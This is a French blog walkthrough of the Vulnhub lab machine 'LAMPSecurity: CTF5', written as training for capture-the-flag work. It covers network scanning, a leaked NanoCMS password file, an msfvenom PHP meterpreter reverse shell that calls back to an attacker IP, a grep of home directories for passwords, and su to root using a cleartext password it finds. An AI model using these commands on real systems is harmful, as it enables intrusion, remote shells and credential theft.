LAMPSecurity: CTF5 : Vulnhub CTF

Aujourd’hui, nous allons nous attaquer au CTF LAMPSecurity: CTF5 que vous trouverez à cette adresse :

https://www.vulnhub.com/entry/lampsecurity-ctf5,84/

Pour rappel, on a généralement 4 phases dans un CTF :

  • Reconnaissance
  • Enumération
  • Exploitation
  • Escalade de privilèges

Reconnaissance :

On doit d’abord repérer la machine sur notre réseau :

netdiscover

La machine à attaquer est en 192.168.1.57 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :

nmap -A -p- 192.168.1.57

Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)

De nombreux ports sont ouverts et comme d’habitude on va commencer par le port 80 (HTTP)

Enumeration :

Dans le menu, lorsqu’on clique sur « Blog », on obtient :

Ce blog tourne avec la technologie « NanoCMS ». En cherchant « nanocms exploit » dans un moteur de recherche, on obtient quelques pistes :

En suivant les instructions, on se rend sur l’url :

http://192.168.1.57/~andy/data/pagesdata.txt

Exploitation :

On obtient un mot de passe en md5 qui nous donne :

Username : admin
Password : shannon

Nous voilà connecté en admin sur le CMS :

Lorsque l’on prend le contrôle d’un CMS (droit administrateur), on va chercher à créer ou modifier une page pour injecter un reverse shell. On voit dans le menu l’option « New page » et d’après l’url, le CMS fonctionne à base de PHP.

On va donc créer un reverse shell en PHP

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.53 lport=4444 -f raw

On peut maintenant créer notre nouvelle page

On obtient un message de confirmation de la création de cette page et en se rendant sur le site, on voit apparaître l’entrée « shell » dans le menu de gauche.

On peut maintenant lancer une console Metasploit

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.53
set lport 4444
run

Lorsqu’on obtient notre première connexion, un réflexe sur ce type de CTF (machine un peu ancienne) est de regarder le type de système et si c’est du linux quel est le kernel

On va ouvrir un shell

shell
python -c ‘import pty;pty.spawn(« /bin/bash »)’
ls -al
pwd
cd /home
ls -al

On voit qu’on a 5 utilisateurs. On va essayer de chercher la mention « password »

grep -R -i password /home/*

Nous avons les droits pour l’ouverture du fichier :

/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note

On trouve un mot de passe en clair : 50$cent

Escalade de privilèges :

su –
whoami
id

Et voilà, nous sommes root !

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.